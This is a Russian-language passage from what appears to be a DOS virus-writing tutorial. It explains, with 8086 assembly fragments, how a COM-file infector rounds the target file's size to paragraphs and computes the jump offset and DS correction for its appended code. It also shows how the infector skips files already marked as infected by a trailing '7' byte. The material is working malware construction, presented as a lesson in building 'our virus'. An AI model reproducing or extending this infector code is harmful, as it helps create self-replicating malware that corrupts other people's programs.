Проверяем файл на зараженность

Выполняем необходимые расчеты

В этом пункте мы покажем, как вирус проводит расчет корректирующего числа для регистра DS (см. 1.4), а также смещения на свой код. Напомним, что это смещение записывается в начало заражаемого файла и зависит от его длины. Исходной величиной для расчета служит длина заражаемого файла,которую DOS вместе с именем найденного файла и рядом других его характеристик помещает в DTA. Размер записывается в DTA по смещению 01Ah (младшее слово) 1Ch (старшее). Так как длина COM - файла не может быть больше 65535 байт, она помещается в младшее слово целиком.А слово по смещению 01Ch обнуляется! Вышеуказанные расчеты можно произвести следующим образом:

found_size: mov ax,cs:[09ah] ;Найдем размер ;файла count_size:mov si,ax cmp ax,64000 ;Файл длиннее ;64000 байт ? jna toto ;Нет. .. jmp find_next ;Да - тогда он ;нам не подходит toto: test ax,000fh ;Округлим размер jz krat_16 ;до целого числа or ax,000fh ;параграфов в inc ax ;большую сторону krat_16: mov di,ax ;И запишем ок- ;ругленное зна- ;чение в DI. .. ;Расчитаем сме- ;щение для пере- ;хода на код ви- ;руса. .. sub ax,3 ;Сама команда ;перехода зани- ;мает три байта! mov byte ptr new_bytes[1],al ;Смещение найде- mov byte ptr new_bytes[2],ah ;но ! mov ax,di ;Сколько пара- mov cl,4 ;графов содержит shr ax,cl ;заражаемая про- ;грамма ? dec ax ;Учитываем дейс- ;твие директивы ;ORG 110h. .. mov byte ptr add_to_ds,al ;Корректирующее mov byte ptr add_to_ds+1,ah ;число найдено !

Вы уже, конечно, поняли,что вирус будет округлять размер заражаемой программы до целого числа параграфов в большую сторону. Например, пусть файл имеет длину 401 байт. Тогда вирус запишет в DI значение 416 (25 целых параграфов, и еще один байт даст округленное значение 416 ). В "new_bytes" запишется число : 416 - 3 = 413, а в "add_to_ds" будет помещено значение : 26 - 1 = 25. Чтобы лучше понять работу фрагмента,рекомендую вам посмотреть пункт 1.6. И еще - подумайте, зачем нужна команда " dec ax ". Надеюсь, вы без труда в этом разберетесь!

Мы, кажется, слишком увлеклись работой и не заметили одной очень важной детали. Ведь может случиться, что найденный нами файл уже заражен предлагаемым вирусом, а мы об этом даже не догадываемся! Поэтому наш вирус заразит эту программу еще раз. В принципе,количество заражений ничем не ограничено. Программа будет расти, пока не достигнет размера более 65535 байт, а после этого перестанет работать. Чтобы такого не произошло, введем проверку на зараженность. Например, в конец каждого заражаемого файла будем записывать цифру " 7 ", а при заражении проверять ее наличие. Итак:

mov ax,4200h ;Установим ука- xor cx,cx ;затель на пос- dec si ;ледний байт mov dx,si ;файла. .. int 21h jnc read_last jmp close ;Ошибка ! read_last: ;И считаем этот mov ah,3fh ;байт в ячейку mov cx,1 ; " last ". .. lea dx,last int 21h jc close ;Ошибка ! cmp last,'7' ;" last " =" 7 " jne write_vir ;Нет - дальше jmp find_next ;Да- поищем дру- ;гой файл. ..

Можно, конечно,провести более совершенную проверку зараженности,нашей же целью было просто показать, как защитить файлы от повторного заражения. Читатель при желании сам легко внесет необходимые изменения в создаваемую программу.